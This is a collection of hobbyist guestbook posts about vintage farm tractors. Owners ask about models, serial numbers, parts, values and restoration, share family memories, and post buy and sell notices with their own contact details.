Jim Fletcher wrote on Friday, March 10, 2006 (PST):Purchased a Cub Serial Number #83611 a 1949 in orginal shape and running condition. Has a Woods 42C-6 Belly mower attached to it. Does any one know if the tractor is a Deering Model? Think the company changed mid-year in 1949. Also, my son wants this to be a "big" little tractor, anyone know where I can get some "dual" rear wheelextentions?? We also have a Allis-Charmers CA, which is about the same size. Both are being used on the ranch now. It seems easier to find parts for the Cub.
robert hinckley wrote on Thursday, March 09, 2006 (PST):Darrell; The distinctive "yellow" colors on Olivers were generally industrial/construction models. I think the only difference was the paint otherwise the tractors I saw (a few) were identical to Agriculteral models. SeaBee Mal
Kale Stewart wrote on Thursday, March 09, 2006 (PST):I own a 1952 Farmall Super M. It has a wide front end and a heavy duty 3pt hitch. This tractor is currently being restored and I was wondering about what it will be worth when finished.
Bill McEnery wrote on Thursday, March 09, 2006 (PST):I have a 44 row crop with a decal that reads [ red river special ] told they were sold in southern manitoba to work the sugar beets any infro. on this? a good running machine
Scott Walters wrote on Thursday, March 09, 2006 (PST):Dad had a 1958 super99 gm diesel with cab on it It also had a powermizer lp gas shot to it. Sold in early seventies went from Ill to Wisc.I was born in 58, Anyone know about my tractor? Sure would like to own it or one like it again. Nothing like meadow green and clover white.
JEAN wrote on Thursday, March 09, 2006 (PST):What is the correct price for a FARMALL A 1948 in a very good condition?
James Richardson wrote on Thursday, March 09, 2006 (PST):I have an original 8/16 manual for sale if anybody is interested
stan engstrom wrote on Wednesday, March 08, 2006 (PST):i have completly restored my 53 cub but one thing stumps me.the hydrolic system. it has a bucket run by lever attached to a tank on the steering shaft. on top of the tank is a tube with an end cap with 2 holes. oil has squirted out of the holes several times when lifting the bucket. need advice. thanks much
mark harris wrote on Wednesday, March 08, 2006 (PST):i bought a 44 just a while a go and it runs very well. all it needed was a tune up. but the transmission is shot. the reverse gear shot a part and sheared the other gears did anyone else have this trouble?
Dan Frieden wrote on Tuesday, March 07, 2006 (PST):Just wanted to let you know that the Oliver has been sold.
Julia Parker wrote on Tuesday, March 07, 2006 (PST):Just bought one does anyone know the whereabouts of clutch parts ? mine doesn't have one at the mo
Karl Nitschke wrote on Thursday, March 02, 2006 (PST):Interested in Farmall B, or BN, forsale in NW PA. Also will consider Cs, Super Cs, and Super As. Will consider any condition. Prefer running and fair. Thank you.
Mike Walters wrote on Tuesday, February 28, 2006 (PST):I just bought a 44 rowcrop for 1400. seems like a good deal. sheetmetal all nice. good rubber and running well. It's got a continental 6 but no extras like 3pt etc. Would like to learn more about it's value. I'm planning on a complete repaint. also would like to find pix of 44s like mine thanks
amnon barkan wrote on Tuesday, February 28, 2006 (PST):i look for farmel a 1950 or 1951 or 1953 and want to buy it and bring it to my home in israel/ my father work with this tractor and it's very impirtand for me.can some one want to sell?
Dan Frieden wrote on Friday, February 24, 2006 (PST):I have the complete hitch assembly for a Ford rotary hoe. The Serial# I 897 Series# 407 Component# I3-I02. Just wondering if anyone could help me out.Any info. plus wondering what its worth price wise.Thanks-you Dan Frieden
Dan Frieden wrote on Friday, February 24, 2006 (PST):I have a 2-row cult.a International Model#76 combine,a farm-all M,a farm-all A with a 1-row cult. will seperate.
ROXANN wrote on Wednesday, February 22, 2006 (PST):My husband is restoring a case sc.Were finding eagles on top of globes stamped all over on it.Is this a common thing to see.We believe it's a 1941.
Kenneth Williams wrote on Wednesday 2-22-06 wrote on Tuesday, February 21, 2006 (PST):I have a 1952 CASE VAO wide frontend and EAGLE hitch. I'm looking for a full seat assembly at a reasonable price. I want to restore this tractor ASAP.
Gary Couey wrote on Tuesday, February 21, 2006 (PST):I have purchased a 1948 VAH Case. I would like to know production numbers for this tractor.
mark wrote on Sunday, February 19, 2006 (PST):i have danco belly mower model # c2 1111 does any know where i can get parts or order or have a web site that i can go on my e-mail add is sampullen2 at hotmail.com
Wayne Karn wrote on Friday, February 17, 2006 (PST):There are 2 old Russel steam traction engines setting in behind a shed at Dowling, Mich. They belonged to the late Harry Woodmancy. I saw one run about 20 years ago there on a saw mill. His boys wont sell I hear. For your information.
dan/nick wrote on Wednesday, February 15, 2006 (PST):Well i have found one and i found that the closest colars for the tractor is cokeacola red with a yello or gray wheels.MY LEADER HAS A HERCULES engin and it is in verey good condition for beeing pulled out of a apple tree. Ihave found that you can get a book on the moter from yestrdays tractor or some place like that. The book is preity close to beeing accuriot. I allso foud out napa auto parts can get poinys for the moter an some gasskets another stuff. may leader tractyor has a after market 3 point hitch on it it allso has power take off. I did find out that to ingade the pto you must push in the clutch or you will grind the gear box. All so som of the leader tractor font rims rust out. well if you can get a 14-14 inch donut rim and cut out the center and weld the center out of the origanal it is preity clse match. also a voltswagon rim can be used . Ijust wanted to give the in formation i had.i allso wanted some pics if some one culd send me some of thiers would make me happy. Thank you
dan/nick wrote on Wednesday, February 15, 2006 (PST):Well i have found one and i found that the closest colars for the tractor is cokeacola red with a yello or gray wheels.MY LEADER HAS A HERCULES engin and it is in verey good condition for beeing pulled out of a apple tree. Ihave found that you can get a book on the moter from yestrdays tractor or some place like that. The book is preity close to beeing accuriot. I allso foud out napa auto parts can get poinys for the moter an some gasskets another stuff. may leader tractyor has a after market 3 point hitch on it it allso has power take off. I did find out that to ingade the pto you must push in the clutch or you will grind the gear box. All so som of the leader tractor font rims rust out. well if you can get a 14-14 inch donut rim and cut out the center and weld the center out of the origanal it is preity clse match. also a voltswagon rim can be used . Ijust wanted to give the in formation i had.i allso wanted some pics if some one culd send me some of thiers would make me happy. Thank you
John Tinney wrote on Wednesday, February 15, 2006 (PST):Just purchased a farmall SUPER MDTA today. Can't wait to get it home. Hopefully the roads will be clear in the next few days.It is restored but does not have all orginall equipment, That's OK because they are rare. It is about 5 hours away. I also own a restored Super MTA.I have 3 -W4, 1 -I4 1 -Super A and 1 -686
Bob Harding wrote on Wednesday, February 15, 2006 (PST):To Sue, You can look on the lft side of the motor just aboe the oil pan and it will have a cast number of Z120 for a TO20 and No. Z129 for TO30. If the oil filter is inside the oilpan it a TO20. There should be a tag next to the steering post with a TO ser. no. If tou find all of these check w/www.montesequipment.com/ as they handle the continnal motors for Ferguson. Good luck. Bob
Ron (La Center, WA) wrote on Monday, February 13, 2006 (PST):My dad had a 44 when I was young and 2 years ago I ran across a 1948 44 that had been sitting and am in the process of restoring and using it.
harold marten wrote on Sunday, February 12, 2006 (PST):i have a 420c and recently purchased a good set of rollers does anyone have any advice on changing these things since they have been on the machine since 1957? thank you harold marten rr3 st.catharines ont.can.
gregk wrote on Thursday, February 09, 2006 (PST):I have a 10 20 that runs and was given a front end loader that is supposedly for it. it is not all there and i cannot find any pictures of one. the tag say Monarch Loader Co. Des Moines IA with a patent number that is not for itI am missing the uprights that the cable went over and where to mount them. thanx
Mark Z wrote on Thursday, February 09, 2006 (PST):I am rebuilding the engine in my 8N and the book that I have says that it makes no differance which way the connecting rod is installed on the crank. I would think that the bearing notches should go to the left or right side of the block instead of, it makes no differance. I may be wrong. If anyone has any info. please let me know.
Marc wrote on Wednesday, February 08, 2006 (PST):I am looking for a early model 60 to restore. I would prefer that it be in fair running condition,with good sheetmetal & a good tag.I have (2) JD M's 1949&1950,good metal & tags, the 1950 is now being driven in parades.I also have a 1949 farmall H.all are for sale or trade.
Chris Bubb wrote on Tuesday, February 07, 2006 (PST):I'm looking for a drawbar to put under my 1949VAO,any help would be appreciated.
John Mosher wrote on Friday, February 03, 2006 (PST):I have one it is a diesel front wheel assist. A very pretty tractor that I am hoping to restore some day. When we got it it needed a clutch so we split it in half but the plates inside were frozen on and when we did get it apart we bent the plates. So it sat in two pieces until we found parts it sat like that for one year but when we got the parts and put her back together she pulls like there is no tomorrow.
Jim Broughton wrote on Wednesday, February 01, 2006 (PST):To Gary Bell; Your Cub is a 1963 model, about mid-year...about 10.5 HP displacement is 60 CI, 1600 RPM 25/8 X 23/4" uses Champion 15-A or AC-85S or Auto Lite BT8 ..18mm spark plugs. As for price...if you got it for $1600., you did real well !! Lots of luck with 'er they are good little tractors !! Jim
D. Campbell wrote on Monday, January 30, 2006 (PST):My father owns a 1950 Ford 8N tractor, great working condition, and we're trying to estimate the value of it. Any ideas where to call or look. It's in working condition, what's its value? I think he paid $1,600 for it used, about ten years ago. Thanks for any help.
Gary Bell wrote on Monday, January 30, 2006 (PST):PLEASE HELP WITH INFO. I am in the process of purchasing a IH McCormich FARMALL CUB tractor. The serial # is 221922 J and on the RH Tranny case is stamped 351688 R3 L 3 What year is this tractor/what is the correct model#/what is the HP rating?Displacement?/Original color (currently Yellow) Paying $1600 with woods Mower/runs great/Hydrolics work, is this a fair price in your opinion? (Located in Texas). Thank you for your help in advance. What a bueatiful tractor-gotta have one!!
FL Vinetardman wrote on Monday, January 30, 2006 (PST):Wrong model number..... OC3-42 Thanks guys
FL Vineyards wrote on Monday, January 30, 2006 (PST):I have come across an OC-42. It appears to be in good shape and restoreable. Where can I get info on this model?I do not see it mentioned in many sites. Any inofrmatin is appreciated
J.P. wrote on Sunday, January 29, 2006 (PST):i've lived on a farm all my life and when i was a teen my dad baught me a oliver 60 rc with a wide front end. i took it to many a tractor pull amd won the majority of them. this is where the 60 gained its nickname ... "the mighty fred" ... not sure quite how that came about
Rob wrote on Saturday, January 28, 2006 (PST):Does anny of You have a good picture of the Junior above this page? I would like to read the decals on the side of the hood
Ken wrote on Friday, January 27, 2006 (PST):I have a AC WD 45 with wide front end and also dual fuel for gas and butane. My granddad bought it new and now I would like to find someone that could restore to new again. It still runs just needs refurb.
Mike Lamkin wrote on Friday, January 27, 2006 (PST):Daniel Witmer if you are still having trouble with your plow not staying in the groung I suggest you fine an old timer in a welding shop that can re-tip the plow point, and put a new point on it for it is mostlikely worn down.
Bryan Fitch wrote on Friday, January 27, 2006 (PST):I have a massy harris 81. It is 80% restored and i thought about selling it. If anybody has a idea what it might be worth I would like to here.
bill wrote on Friday, January 27, 2006 (PST):Looking for Allis G Foothills of North Carolina
Jim Turner wrote on Thursday, January 26, 2006 (PST):I have a 39 F-20 trying to restore it, I need a gast tank among other things where is a good place for F-20 parts
Mike K wrote on Wednesday, January 25, 2006 (PST):Sounds like I'm not the only one with 300 U, manuel steering box problems. Does any one have one for sale by chance? Or know of a salvage yard that sells over the net? Any help would be appreacated, Thanks
John Lathan wrote on Sunday, January 22, 2006 (PST):I am looking for steel wheels for my M. My grandfather had a set, and they were cut up by someone. I could really use a new set. If you could let me know where I could find them, that would be great. Thanks.
Paul wrote on Saturday, January 21, 2006 (PST):I have a massey 44 no serial number tag is there somewhere on the tractor or motor that the number is stamped?
James M. Williamson 111 wrote on Friday, January 20, 2006 (PST):Looking to purchase 8N Tractor...I live in the State of Louisiana...any tractor in fair to good condition would be appreciated...not much of a mechanic thanks James
Kenneth G. Dodge wrote on Friday, January 20, 2006 (PST):I restore old Farmalls, I would like to buy MD, SMD, SMTA, and SMDTA. My phone number is 402-729-3109. My address is 70940 Farmstead Avenue, Fairbury, NE 68352. Thank You.
casey kulla wrote on Friday, January 20, 2006 (PST):I am looking for a farm-ready Allis G in the Pacific Northwest for sale. Anyone selling in the area? Thanks!
Leonard Henderson wrote on Thursday, January 19, 2006 (PST):www.toytractortimes.com/tttsubscribe/workmay04.htm Scroll to the bottom of the page for pictures and even the front cover of the JD sales brochure. I have been around these quite a bit. I heard that JD only built 65 altogether. At one time, I knew where 17 of them were.
BigA wrote on Wednesday, January 18, 2006 (PST):Gary, according to tractordata.com your 8N would be a '48.
todd london wrote on Tuesday, January 17, 2006 (PST):I bought my great grandfathers minnie jetstar 3 super a few years back and recentky purchased a G1000 lp, I raise a small herd of beef cattle and these tractors do all the chores my 5 year old loves them and wants one of his own so he can do chores also, these tractors just never quit.
mark wrote on Tuesday, January 17, 2006 (PST):i'm looking for a sickle bar for a 1948 cub if anyone knows were i can buy one in west virigina drop me a e-mail
garry wrote on Monday, January 16, 2006 (PST):In 1958 June my Grandfather purchased a new to35, a#3mf baler, a3furrow 3pt hitch plow and mower all of which came from a dealer in fitzroy harbor Ontario Canada. The tractor Serial# was 1700035 and the implements were shipped there from King St Toronto Ont.The dealer G poole Equip delivered and set up by installing lights on the tractor and doing a demonstration with the mower and baler as it was haying season. I remember being perty excited as I was about 10 years old at the time. It was kind of humourous watching my grandfather make the first round in the field as he always was used to driving horses, the dealer thought that he might take the clutch out of the tractor before he got around the field Hah. Well he did make it and we did a lot of work with it until 1981 when we sold the farm, My sister bought the tractor at the sale and took the tractor to cumbermere ont where they used it a number of years before they sold it to a garage If i new where it had goneto I would buy it again A really good tractor
brian van dam wrote on Sunday, January 15, 2006 (PST):hello im looking for a m/d with a t/a to rebuild and restore the tractor will have a good home in ontario canada if you can help me please e mail me ill have the tractor picked up and shiped to canada thanks brian
ronnie j wrote on Saturday, January 14, 2006 (PST):have an n flat head. how would i hook up water temp gauge and where does it connect to engine.thanx
ronnie j wrote on Saturday, January 14, 2006 (PST):have an n flat head. how would i hook up water temp gauge and where does it connect to engine.thanx
Rick T wrote on Saturday, January 14, 2006 (PST):I have a 1949 case vac tractor. I purchased it about 2 years ago. It has a tan hood and side shields and the rest of the tractor is a yellowish color. did they ever make one this color.
KEVIN BRIGGS wrote on Friday, January 13, 2006 (PST):I' ve recently purchased 44 special, it runs good but! The reverse and first gear are bad. By your comments on Nov 8, 2005 it sounds as if you have some experience with transmission work on this tractor. I'm wondering how hard it is to replace these two gears and where I might get the parts. My engine seals also leak. Any help will be appreciated. Kevin
Leonard A Kennedy wrote on Friday, January 13, 2006 (PST):I searched for my grandfarhers Oliver 60 Row Crop for a couple years found the tractor at a pre-primary school used as jungle jym of some sort.Iam a keen colector of vintage tractors and is currently the secretary of the Bredasdorp Vintage Tractor Group.Back to the Oliver 60 Row Crop Wide,I have a few problems,I need a hood(bonnet),engine compartment side couvers(pannels) and decals including the badge on the nose couling.My tractor is running well exept for the body-parts missing. It has 15" tyres on the front axle and 12 x 38" at tht rear, was this the correct size? We vintage tractor collectors sometimes find it very difficult to get the correct tyre sizes in South Africa. I also am the owner of a Olver HG 42 Crawler.In our group there is a gentlrman who is the owner of a Oliver 80 pre 1940 and a Oliver 90 pre 1946. Thank You and Goodluck restoring the old ones.Leonard
Teddie Gregory wrote on Thursday, January 12, 2006 (PST):I own a Super M in North Carolina. She runs good, however I would like to rework the engine to give her new life. I use it now to plow my garden and field. I have the plows (all sets) also. I am looking for a Farmall 560. (Cheap)
Mark Owens wrote on Wednesday, January 11, 2006 (PST):I am looking to purchase a Farmall model A. What tips do you have in making the right purchase?
Luke Roozeboom wrote on Wednesday, January 11, 2006 (PST):I'm looking for a series II D-21 with hydraulics,pto and 3 point. Willing to pay what ever it takes for a good quality tractor. Serious inquries only. phone 1-641-660-4150 if I dont answer leave a message please.
J. CLIPPERTON wrote on Tuesday, January 10, 2006 (PST):Darrel S do you have a picture of this D? I am interested in a veiw also interested in $,location,and condition
STEVE CECIL wrote on Tuesday, January 10, 2006 (PST):I AM LOOKING FOR HD5 VIDEOS I FOUND SOME ON INTERNET ONCE BUT CAN NOT FIND THEM AGAIN, IT WAS TWO HD5 WORKING ON SOME DAM IN 1955, MY DAD HAS TWO HD5, WOULD LIKE TO FIND THAT VIDEO FOR HIM...THANKS...STEVE
Charlie wrote on Tuesday, January 10, 2006 (PST):What spark plugs can be used other than champion and what is the plug number? Thanks for your help.
Denny wrote on Wednesday, January 04, 2006 (PST):I have 1955 VAI in excellent condition with an eagle 3 point hitch for sale. I have a Woods box scraper to go with it. All for $2800. Located in Northwest Ohio. 419-692-1720
Wayne Sovocool wrote on Wednesday, January 04, 2006 (PST):I am creating a picture collage of all the Farmall tractors I grew up with in Western NY. So far I have good pictures of an F-20, H and M, but am still searching for an F-12 (preferably with steel wheels), a 400 (narrow front end)and a 560. Any help would be greatly appreciated.
Billy Reaves wrote on Sunday, January 01, 2006 (PST):I have a 60 industrial that runs great but needs restoring. I have all the parts to restore it with but I have little time to do it because I'm in the Navy. My family owns numerous Oliver vintage tractors, most have been retored.
Julie Sizemore wrote on Sunday, January 01, 2006 (PST):I am looking for a International Farmall Super A High Crop in good working condition with cutivators and hillers, etc... Please let me know if you have one for sale.
Jeff Alexander wrote on Sunday, January 01, 2006 (PST):My Grandfather bought an R in the early 70's to go along with an "A" model. He and my father taught me how to drive it a the age of 10. Many coffee cans sat atop the exaust pipe over the years, loved to see the can pop off when those cylinders kicked in! Anyway Pop passed away when I was 11 and Dad inherited it. That R stayed on the farm until 1989-90 when Dad sold out of farming, and sold it to another local farmer who restored it and keeps it a barn (no need for the coffee can). I have visited the old R and was lucky enough to get to start it! Still a thril to hear those 2 cylinders pop!
Terry Kinisky wrote on Saturday, December 31, 2005 (PST):1941 MH81-STD---Serial # 425407. Just a super machine. Been in the family for about 35 years. Still using it today. Bullet proof. Not one major repair of any kind. Regular servicing and tune-ups. They dont make them like that anymore.
Carolyn Adams wrote on Saturday, December 31, 2005 (PST):Have 2 Cubs trying to get selling price one - one SN#1717J and other SN65354. Live in Texas
hugh leonhardt wrote on Saturday, December 31, 2005 (PST):nice picture.how about changing it to to an m with 2 front trycicle wheels.i think that's the more common setup.thanks for any help you can give on this matter
Kevin wrote on Friday, December 30, 2005 (PST):Grew up on a small dairy farm in NE Iowa and we had a 1066. That tractor was a workhorse. Didn't matter if you were pickin up round bales with a fork or pulling a bailer and wagon, she always got the job done. Now I live in DC and what I wouldn't give to spend an afternoon in the field driving that 1066 again. Good times!!
Gene Williams wrote on Friday, December 30, 2005 (PST):we pull tractors i came about a d15 seris II and decided to let my son pull it just so he could have somthing he has not been beat on the tractor yet that was 2years ago. We are currently restoring it.
Walter Hanscom wrote on Thursday, December 29, 2005 (PST):I have a 1947 International Farmall Cub tractor. There is a bar near the transmission and I am not sure what it is used for. Can anyone help me?
Fred Alkons wrote on Thursday, December 29, 2005 (PST):Does anyone know why a 1952 8N will keep zapping condensors?
Len Campbell wrote on Wednesday, December 28, 2005 (PST):I am looking for an owners manual for a Massey Harris 44 Special. Does anyone know where I can find one? If any one does know please notify me.
L. A. Lamb wrote on Wednesday, December 28, 2005 (PST):Happy new year everyone. I have a 1940 UTU. I'm restoring it now, got it running good. Just need new rear tires.......I think its in very good shape for its age L A
Kip Coe wrote on Tuesday, December 27, 2005 (PST): I just bought three MMs,G 705,G 1000 propane,and a G 1000 diesel with a cab for $1500.00.The 705 runs great,propane locked up,and the diesel 1000 smokes.Spent all my time on on Red and Green but no Yellow.where can i buy over haul parts for my new family?
Richard VanOrder wrote on Tuesday, December 27, 2005 (PST):I have a 1948, ser# 5227487, Case Tractor, original 6 volt, magnito w/ lever to adjust the spark (advance or retard), w/ Cab and hydralic bucket. I need an exhuast manifold to replace my cracked one. Please help.Call or e-mail. phone # is 1(607)898-5077. also just to chat about the tractor.
dylan wrote on Monday, December 26, 2005 (PST):john you should make sure all wiring and stuff like that is in perfect but make sure the seat spring is in go condition and make sure that the spark plugs and carb is all working properly
Mike Daigle wrote on Saturday, December 24, 2005 (PST):1932? T20 crawler for sale. Not running. New fuel tank, and radiator. Under carriage good. Original hand crank.
John Schulz wrote on Friday, December 23, 2005 (PST):I have an old Farmall M that is in great shap but I need to do a little matenence on it. Do you have any suggestions for tunning up this particular tractor? I like this old tractor and want to keep it running. Thanks for your help. John Schulz
gary wrote on Friday, December 23, 2005 (PST):As a kid I turned my first furrow with a 35 Fergi. I just saw it sell at action pretty bad shape for 1200. The special was a two stage clutch. Halfway stopped tractor the rest of the way stopped pto. It was one of the first life power tractors. Fergi did not join Massey till 1959. a 57 35 fergi should be grey with a dark green frame.
Jerry Cleghorn wrote on Friday, December 23, 2005 (PST):About to start working on my B Farmall. This was my transportation when I was a kid. Its a 47 (so am I) that my dad bought used in 55. It has the lift all, 2-row cultivator with rear sweeps and a frame mounted sickle bar mower, swinging draw bar, all laying in piles in the barn lot. Exhaust stack rotted off years ago and the engine is all froze up. For those interested Value Built can supply about any part for it (nothing is cheap) The engine has wet sleeves, new sleeves, pistons and rings are about $300 at value built. They carry nothing for the Exhaust driven lift. Does anyone know if parts are still available for it? Nebraska tests put it about 16 PTO hp and about 15 hp on the draw bar. No water pump on these tractors, most used thermo siphon to move water. I never knew it to overheat and we worked it hard pulling a 2-bottom plow. Check the oil with the 2 taps on the side of the oil pan. You must get oil out of the low tap, when you get oil out of the high tap the oil is full.
steve larosa wrote on Thursday, December 22, 2005 (PST):I have a ford 8n with a 6 cyl engine the fuel pump is bad, how so I id the engine and order the pump
Joe Hamilton wrote on Wednesday, December 21, 2005 (PST):I have a Case model C.The original color is Yellow on mine.I thought it may be a CI,but I understand that it would be marked on the serial tag.Mine has always been shedded,it is unstyled with flatspoke rubber tires and was used in a warehouse early on.Yellow paint is present in real hard to reach places and no gray paint is anywhere visible.I need a parts manual for it,and would like to find someone to restore it.I am in Texas.Thanks.903-826-4184
Tom D. wrote on Wednesday, December 21, 2005 (PST):thank's for the year. hope everybody has a very nice and safe holiday. I really enjoy this sight.
Shannon From Iowa wrote on Sunday, December 18, 2005 (PST):I am Looking for a Manufacturer that Makes a Chrome Straight Stack for the MX Series Magnum Tractors. Lets face it the only thing better than a Red Tractor is Hearing a Red Tractor ROAR....!!!
dylan wrote on Saturday, December 17, 2005 (PST):the darker color is because of the age of the paint
dylan wrote on Saturday, December 17, 2005 (PST):robert godwin the m is probably about right the smta should go for more not many smtas were made and Bill K you might need a bigger truck but DEFINATLY block the trailer but i don't know what the baler and plow is worth dale if its totally restored and you did a GOOD job i would go for 3,000 but that's asking a little much now thats just the tractor if you didn't restore it but tin and engine are good it's worth about 1,400ish if you did a ok job and will just make you happy it will be inbetween that Jesse austin you have a tractor smaller than a m because you have a side mounted seat
dylan wrote on Saturday, December 17, 2005 (PST):robert godwin the m is probably about right the smta should go for more not many smtas were made and Bill K you might need a bigger truck but DEFINATLY block the trailer but i don't know what the baler and plow is worth dale if its totally restored and you did a GOOD job i would go for 3,000 but that's asking a little much now thats just the tractor if you didn't restore it but tin and engine are good it's worth about 1,400ish if you did a ok job and will just make you happy it will be inbetween that Jesse austin you have a tractor smaller than a m because you have a side mounted seat
dylan wrote on Saturday, December 17, 2005 (PST):robert godwin the m is probably about right the smta should go for more not many smtas were made and Bill K you might need a bigger truck but DEFINATLY block the trailer but i don't know what the baler and plow is worth dale if its totally restored and you did a GOOD job i would go for 3,000 but that's asking a little much now thats just the tractor if you didn't restore it but tin and engine are good it's worth about 1,400ish if you did a ok job and will just make you happy it will be inbetween that Jesse austin you have a tractor smaller than a m because you have a side mounted seat
Ryan Hedelius wrote on Saturday, December 17, 2005 (PST):My Grandfather (Emil RObert) Hedelius "gave" me his Regular Farmall when I was 6 years old ... only because I found the crank (by the wood stove) and started "Rex". Needless to say I was one scared lad ... Anyway, I really would like to find any manuals for Rex ... it would be nice to have a part break down ...
allen trulove wrote on Thursday, December 15, 2005 (PST):help i have a three wheel farmall and i an in desterate need of a front tire. i think the size ie 6.00x12 6 ply any help would be appreciated.
lance beber wrote on Sunday, December 11, 2005 (PST):hey sir, this is going to sound like a stupid question, but, where are the serial numbers, or how can i tell what kind of farmall tractor this is. My girlfriends dad has one, or his dad had it and died and it sat in a field for 3 years, I trying to find out what type it is and how much parts are so I can quit looking at it sit and rust and put it back to work or looking all shinny. If you could help me out please do so. Lance, p.s. it looks like the model B. Could you also help me out with some overhaul kits, engine, trans, hydrolics. thanks screwball_cracker at yahoo.com
eugenedegraff wrote on Friday, December 09, 2005 (PST):i would like to find a full plow blade for a 1953 . i might be willing to trade for the dingley bucket .
eugene degraff wrote on Friday, December 09, 2005 (PST):to tom d . if you don't want to buy special gas you can just put any old two cycle engine oil in the gas . half a bottle to five gallons works fine .
Harry Werth wrote on Tuesday, December 06, 2005 (PST):looking for rear wheel and rear rim for allis chalmers model G tractor. Are there any 7.2/30 good used tires any place ? Does anyone have front rim and cast wheel center and bearings and Rim clamps for Allis G for sale ?
Tom D wrote on Monday, December 05, 2005 (PST):Jim,I flushed the motor with deisel fuel,the drain plug was full of solid. oil filter tube was a little harder to get clean. after I got it all clean. I put a low ash oil in. I did not have the motor apart.I have good oil pressure now, thank you very much for your help SHE"ll have a good retired life with me thanks again Tom D.
Jim Broughton wrote on Friday, December 02, 2005 (PST):Tom D.; Type of oil sorta depends on what you did to your tractor...did you "rebuild it with all new parts? If so, any of the detergent oils, such as 10/30 etc will work just fine. If only you got it running with the original engine, then stick to a non-detergent oil, such as a standard 30 wt or 40 wt, depending on clearances on the main and rod bearings. Also, it's a good idea to use a gasoline additive with lead in it to ease the wear on those original valves. These engines aren't exactly "high-tech" so treat her with respect !! Lotsa luck !! Jim
fran vanderweyst wrote on Friday, December 02, 2005 (PST):a freind o mine has a co-op #4 for sale, it's in really good shape repainted about 6 yrs. ago. any buyers please contact me 12/2/05
tom d wrote on Thursday, December 01, 2005 (PST):what type of todays moter oils would be the best for the cub of the oils we have today?
Gerald Palm wrote on Thursday, December 01, 2005 (PST):Can anyone tell me if a Massey Harris 33 was ever made with an LP motor, and if they did what year it could be? Any Help would be appreciated.
tom d wrote on Wednesday, November 30, 2005 (PST):just got my 1948 cub got running 2 days ago love its been seting for about 4 years
Robert Godwin wrote on Tuesday, November 29, 2005 (PST):I have a 1942 M that I am trying to sell with no luck. It has been repainted and decalled last spring, I am asking $2,300.00 for it. Is this to high? I also have a super MTA I would like to sell as well, any suggestions on pricing would be a big help.
mike wrote on Tuesday, November 29, 2005 (PST):I have just bought a 1947 "B". Needs to know some good dependable websites to aquire some parts. Something close to central Ill.
Jim Broughton wrote on Monday, November 28, 2005 (PST): To; John Borja, Depends on how old your "A" tractor is...if it is late enough to have the "fast-tach" style of hitch, then most Cub implements will fit.If it is the old "Drawbar" type.. then it's a "maybe"!! Lots of luck, Jim
Doug Reachard wrote on Sunday, November 27, 2005 (PST):If anyone is interested in puting a V8 60HP in your 2N-8N-9N Series tractor contact me for the adapter. 307-587-4010 rdreachard at wtp.net
james friend wrote on Sunday, November 27, 2005 (PST):I own a 1942 M that must have had a different engine installed. This engine has a dipstick that is stamped "power unit-engine running" on one side and "engine stopped" on the other side. Anyone out there know what this motor is out of, specs, and so on? Thanks a millio.
sean semkowski wrote on Saturday, November 26, 2005 (PST):i would like to know if anyone can e-mail me a wiring diagram of the farmall m -3 position light switch.
carl bess wrote on Saturday, November 26, 2005 (PST):I saw you picture of the Allis Chalmers WC and was replying that is own one. The WC that i have is my fathers which he owned and farmed with this tractor up until 1958. He kept this tractor around just for his garden and give this tractor to me a few years ago. My son and i are planning on restoring this tractor in the next couple of years
Chris Edy wrote on Thursday, November 24, 2005 (PST):Does anyone have the paint Code for the T20 Red ? What is a good running All compleat nice under carriage T20 Low Hrs Worth
Michael Myers wrote on Thursday, November 24, 2005 (PST):I am researching this tractor for my father. My grandfather ecently pat away and gave my father a leader tractor. All I know is that it is red with no fenders like the one picture on this page. I will get more infomation and will have questions about parts and where to get them. thanks,
Eugene Degraff wrote on Tuesday, November 22, 2005 (PST):I have a dingley loader for a farmall cub. Did come off a 1953 cub. I need to know the price I should sell it for. If your interested E mail me at eugenedegraff at yahoo.com
Ray Nuggli wrote on Friday, November 18, 2005 (PST):I have what I believe is a 15-25. It's in good shape but I will need a few parts for it, like a exhaust valve and some magneto parts. I am new at this so if someone can me direct me to a parts source I sure would appreciate it.
david mcintire wrote on Thursday, November 17, 2005 (PST):does anyone know the location of the 0ne millionth tractor produced by ih at rock island, illinois
David C. wrote on Tuesday, November 15, 2005 (PST):I am trying to locate a new radiator for a 8n converted to a 6 cyl Ford F150 engine. Does anyone know were I can get a new radiator?
ethan weisenberger wrote on Sunday, November 13, 2005 (PST):AM LOOKING FOR AN OLDER CUB CADET THAT DOSNET RUN RIGHT " A OLD PEICE OF POOP" I NEED TO MAKE A PULLING TRACTOR FOR MY SENOIR PROJECT FOR SCHOOOL, SO IF YOU WOULD HAVE AN OLD RUSTY ONE LAYING AROUND THAT YOU LIKE TO SELL FOR CHEAP PLEASE CALL ME (570)742-2945,I LIVE NEAR MILTON PA, SO GIVE ME CALL IF YOU HAVE ONE OUR KNOW SOME ONE THAT WOULD LIKE TO SELL THERE'S
ethan weisenberger wrote on Sunday, November 13, 2005 (PST):AM LOOKING FOR AN OLDER CUB CADET THAT DOSNET RUN RIGHT " A OLD PEICE OF POOP" I NEED TO MAKE A PULLING TRACTOR FOR MY SENOIR PROJECT FOR SCHOOOL, SO IF YOU WOULD HAVE AN OLD RUSTY ONE LAYING AROUND THAT YOU LIKE TO SELL FOR CHEAP PLEASE CALL ME (570)742-2945,I LIVE NEAR MILTON PA, SO GIVE ME CALL IF YOU HAVE ONE OUR KNOW SOME ONE THAT WOULD LIKE TO SELL THERE'S
ethan weisenberger wrote on Sunday, November 13, 2005 (PST):AM LOOKING FOR AN OLDER CUB CADET THAT DOSNET RUN RIGHT " A OLD PEICE OF POOP" I NEED TO MAKE A PULLING TRACTOR FOR MY SENOIR PROJECT FOR SCHOOOL, SO IF YOU WOULD HAVE AN OLD RUSTY ONE LAYING AROUND THAT YOU LIKE TO SELL FOR CHEAP PLEASE CALL ME (570)742-2945,I LIVE NEAR MILTON PA, SO GIVE ME CALL IF YOU HAVE ONE OUR KNOW SOME ONE THAT WOULD LIKE TO SELL THERE'S
Mervyn Spencer wrote on Sunday, November 13, 2005 (PST):A friend of mine has a Case VAC or VAI, unfortunately there are no serial or engine numbers. Is it possible to date usig the two casting numbers as with the International and Fordson tractors? Regards Mervyn Spencer
Keith Sagehorn wrote on Saturday, November 12, 2005 (PST):I would like to find the 1959 case 900 Diesel I grew up on It had big rubber(23.1x26) and the last I knew it had an Egging cab on it. If anyone knows of one like this please e-mail The tractor was from NE Colorado Thanks.
